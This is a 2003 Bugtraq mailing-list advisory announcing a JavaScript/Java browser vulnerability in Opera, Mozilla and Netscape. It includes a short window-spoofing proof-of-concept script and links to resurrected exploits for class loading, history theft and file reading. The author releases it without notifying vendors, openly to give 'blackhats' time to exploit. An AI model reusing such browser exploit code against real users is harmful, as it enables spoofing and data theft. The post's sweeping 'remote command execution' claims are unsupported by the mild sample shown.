103895 2003-06-07  21:27  /116 rader/ meme-boi <meme-boi@nothotmail.org>
Importerad: 2003-06-07  21:27  av Brevbäraren
Extern mottagare: bugtraq@securityfocus.com
Externa svar till: meme-boi@nothotmail.org
Mottagare: Bugtraq (import) <5174>
Ärende: Cross-Platform Browser vulnerabilities - Critical
------------------------------------------------------------

Background:

Once upon a time in the far off land of 1997 dwelled horrible cross
platform browser vulnerabilities that threatened every user of the
internet.

Pioneers of Java Security Model exploitation such as Ben Mesander,Dan
Brumleve, & Georgi Guninski showed us wonderful methods of loading
arbitrary classes and images, connection to arbitrary hosts with class
loading and remote browser tracking , to name just a few.
We at meme156 laboratories are pleased to announce theyyyree baaaack!

Let no hat, black white or grey, wander in on or about the www
without fear.



Synopsis:
--------

         Opera, Mozilla & Netscape with javascript enabled are
         vulnerable to remote command execution. This has been tested
         on Microsoft, and many many Unices. Macintosh may also be
         vuln.

         Ironically enough, IE is unaffected.

Versions: all current versions , not sure how far back
--------

Impact: Critical - Go Threatcon , it's ya berfday!
-------



Exploit:
-------

very minimal sample below followed by links to long dead bugs
resurrected from the graves of exploits past by this most excellent
everlasting bug.  Old school window spoofing tekneeq:


-----------snip--------------

<script>
function werd()
{
a.document.open();
a.document.write("<h1>werd</h1>");
a.document.close();
}

function winopen() {

a=window.open("view-source:javascript:location='http://www.iss.net';");

setTimeout('werd()',23000);
}

</script>

--------------------------------------------------------------------------


I have provided a live version of this mild example here:

http://meme-boi.netfirms.com/werd.html


Resurrected Juarez:
-------------------


http://neurosis.hungry.com/~ben/msie_bug/

^From the depths of '97 this old treasure is back, demonstrating
 remote class loading.


http://www.nat.bg/~joro/b11.html

^amaze your freinds! show them their pr0n history with guninskis old
 classic :)


http://209.100.212.5/cgi-bin/search/search.cgi?searchvalue=brown+orifice&type=archives&%5Bsearch%5D.x=0&%5Bsearch%5D.y=0

^circa 2000 , Dan Brumleve's masterpiece is back!

"New bugs were discovered in Netscape's implementation of Java has
been found which allows a remote site to read any file on the client
machine and to set up a Java server which anyone can connect
to. Brown Orifice HTTPD starts a Java server which allows others to
read files on your machine."


Fix: Disable Java immediately



Vendor Notification: None - This is full disclosure


Commentary:

There are many, many more issues than I have discussed. The minimal
release is for giving the blackhats time to play.

Editors note: I miss that old channel still samael. parsekungfu4lyfe


Summer of the Sickness is drawing near.......

Copyright © 2003, Paper Street Soap Company, Inc.
(103895) /meme-boi <meme-boi@nothotmail.org>/(Ombruten)